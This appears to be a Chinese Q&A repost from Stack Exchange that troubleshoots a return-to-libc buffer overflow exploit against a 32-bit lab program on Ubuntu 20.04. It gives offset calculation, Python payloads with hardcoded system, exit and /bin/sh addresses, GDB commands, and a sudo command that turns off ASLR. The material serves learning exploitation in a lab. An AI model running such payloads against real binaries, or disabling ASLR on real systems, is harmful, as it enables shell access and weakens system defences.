Return to Libc攻击遇异常错误求助:Ubuntu 20.04缓冲区溢出问题
解决Return to Libc溢出攻击的段错误问题
1. 修正缓冲区偏移量计算
目标程序的is_virus函数会将所有argv参数(从argv[1]开始)拼接进64字节的traffic缓冲区。你当前的测试命令是r 10 python...``,这意味着argv[1] = "10"(占2字节),argv[2]是你生成的payload。初始traffic为空串,拼接后总长度是2 + len(payload),这会直接影响溢出偏移:
- 原测试的74个A是在不传入"10"的情况下得到的,但现在多了2字节的前缀,所以实际需要的填充字符数应该是
74 - 2 = 72(或重新精确测试)。 - 建议重新测试偏移:传入
r 10python -c 'import sys; sys.stdout.write("A"*N)'`,逐步增加N直到返回地址被覆盖(用GDB观察EIP值确认)。
2. 避免strcat提前触发崩溃
strcat会读取源字符串直到遇到\0,但Python的print默认会在输出末尾添加换行符\n,这会导致payload多一个字节,甚至让strcat读取到非法内存。改用sys.stdout.write输出无额外字符的payload:
python -c 'import sys; sys.stdout.write("A"*72 + "\x7c\xd9\x05\x40" + "\xdc\x9c\x04\x40" + "\x0F\xfc\xff\xbf")'
3. 关闭ASLR确保地址稳定
Ubuntu 20.04默认开启地址空间随机化(ASLR),会导致每次运行程序时libc和栈地址变化。在终端执行以下命令关闭ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
关闭后,GDB中获取的system、exit和/bin/sh地址在实际运行时才会一致。
4. 重新确认/bin/sh的地址
通过环境变量找/bin/sh地址时,要在程序运行的同一环境中获取。在GDB中运行程序后,用x/100s $environ查找(环境变量在栈高位区域更稳定);或者直接计算libc内的固定偏移:
p &system p &"//bin/sh" # 双斜杠避免转义 # 偏移计算:sh_addr = system_addr + (sh_offset - system_offset)
5. 调整payload的栈布局
x86架构下Return to Libc的正确栈布局是:
- 填充字符:覆盖缓冲区到返回地址的位置
- 函数地址:
system的地址(覆盖原返回地址) - 返回地址:
exit的地址(system执行完后调用exit,避免崩溃) - 函数参数:
/bin/sh的地址(system的第一个参数)
确保偏移量刚好让system地址覆盖EIP,否则会在strcat阶段就破坏栈结构,触发段错误。
6. 测试简化payload
先构造只覆盖返回地址的payload,确认偏移正确:
r 10 `python -c 'import sys; sys.stdout.write("A"*N + "\x7c\xd9\x05\x40")'`
如果运行后EIP等于0x4005d97c(system的地址),说明偏移正确,再添加exit地址和/bin/sh地址。
内容的提问来源于stack exchange,提问作者Aaron
相关产品推荐
相关产品推荐

